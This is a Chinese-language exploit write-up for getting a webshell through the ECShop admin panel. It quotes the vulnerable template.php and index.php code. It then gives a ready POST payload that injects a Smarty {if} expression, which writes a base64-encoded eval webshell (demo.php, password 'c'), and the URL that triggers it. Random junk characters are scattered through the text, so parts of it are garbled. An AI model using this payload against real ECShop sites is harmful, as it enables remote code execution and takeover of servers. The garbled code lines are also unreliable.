Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

0 b* C3 b# |$ ?而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
7 R6 c: x, O* eadmin/template.php
. b* t4 r- z* a: n, h$ F& y
1 if ($_REQUEST['act'] == 'update_library')
. Y/ M/ |, v# C1 O! D0 R
2   

3 {
2 C" m- O1 o3 [: e7 ~
% z, `3 Z- j5 E7 _/ U3 N( Q# H5 Y4     check_authz_json('library_manage');
% D. r; F9 ]3 r5 f7 w
5   
6 [( R  ^1 U$ L9 g/ V8 L' F
+ Z( {4 K! m1 e6     $html = stripslashes(json_str_iconv($_POST['html']));
0 r& Q* e; d  L0 i' [8 j' `
7   

; o6 }: {' S4 S% s) A  Z# _  L/ T" b8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; P9 b* y) I. e" ]+ X6 Y
! s7 r- u: l, ]3 D) ^9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

% y; M% u9 u& b3 D) @( S11   
  c  a" d$ N! E$ z. O3 f- L
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

$ v. ]5 Q* v( p1 n13   
" \/ I2 C# n  t* Q
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

; q, [. H8 p, u0 F/ D+ X! s: M16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
/ w) Q- J8 N& N$ F
17         make_json_result('', $_LANG['update_lib_success']);

& w: g  Z2 P- |7 c4 T3 ?18     }

19     else
0 D  P# W/ U9 r$ O( ?* v
20     {

5 [) v) h3 a$ _4 l2 b5 E21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, X, ?$ t8 N5 o1 Y% I$ Q: r4 D
22     }

: b, C! D4 a& k$ Y23 }

那么找个比较方便调用了模板的文件
index.php
. f& {4 b  ^# A4 e
1 if ($act == 'cat_rec')

% V( m2 I3 S' M& _, A1 g3 X2   

+ ~$ Z! h, g2 o8 _" S& n3 k3 {

4   
& M" }: u# U+ G4 A  w5 ~' Z; ]2 D
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

9 w: K$ z( U2 a# M6   

, ~& A' G- {% y1 p9 R+ A2 x7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

* o* E" e; U9 K0 J: k8   

, b8 l9 s: _6 Q" o3 _  a$ V9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

! E4 L* j6 m. e4 \) l' J10   

11     include_once('includes/cls_json.php');
( {& I" @1 q" e% E) G5 u# J
) W" Z4 h1 o" F: t12   

13     $json = new JSON;

14   
% u. O/ y1 S1 g; [. J
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
9 `2 Q' z. e7 x/ q8 z
1 w8 D( X1 d+ p, z  @% p16   
$ M, C" Z% {8 k; i  ^
' u& e/ g, h- u) D$ O: Y" j* j! o8 j17     $children = get_children($cat_id);

9 D8 H' n& ]. O5 f( ]( o18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
* R$ A2 ]; [- p9 x9 W* U) G
4 i) l0 ?  Z  n3 E; y- F6 E/ T! o6 ]21     $smarty->assign('cat_rec_sign', 1);
3 _$ @) C4 ?  w5 t: a  Z
22   

6 I7 m: l$ \# G, q% V; d23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

; S8 [& K. w2 I. g% ^24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   
2 P( p' I1 q* V! y: ]& [# k
! p) W- I1 ^- _1 p29     die($json->encode($result));

$ U& V( g1 \% k* s8 u+ \* Q30   

31 }
5 Q# _9 d% P" F
( p! ~1 y- w% M& k  ^那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
/ g: u+ T3 q; G% q
: J  N/ p2 Z5 V; t- v​
' X: v  J0 b, Q, _: ~' k1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

0 U3 i6 _" z1 z$ _. @9 E9 K然后访问http://localhost/ec/index.php?act=cat_rec

  ]6 C& {. N" d0 y7 P- hshel地址：http://localhost/ec/demo.php
密码c

9 J: S4 `- D; t- g2 ^7 O7 t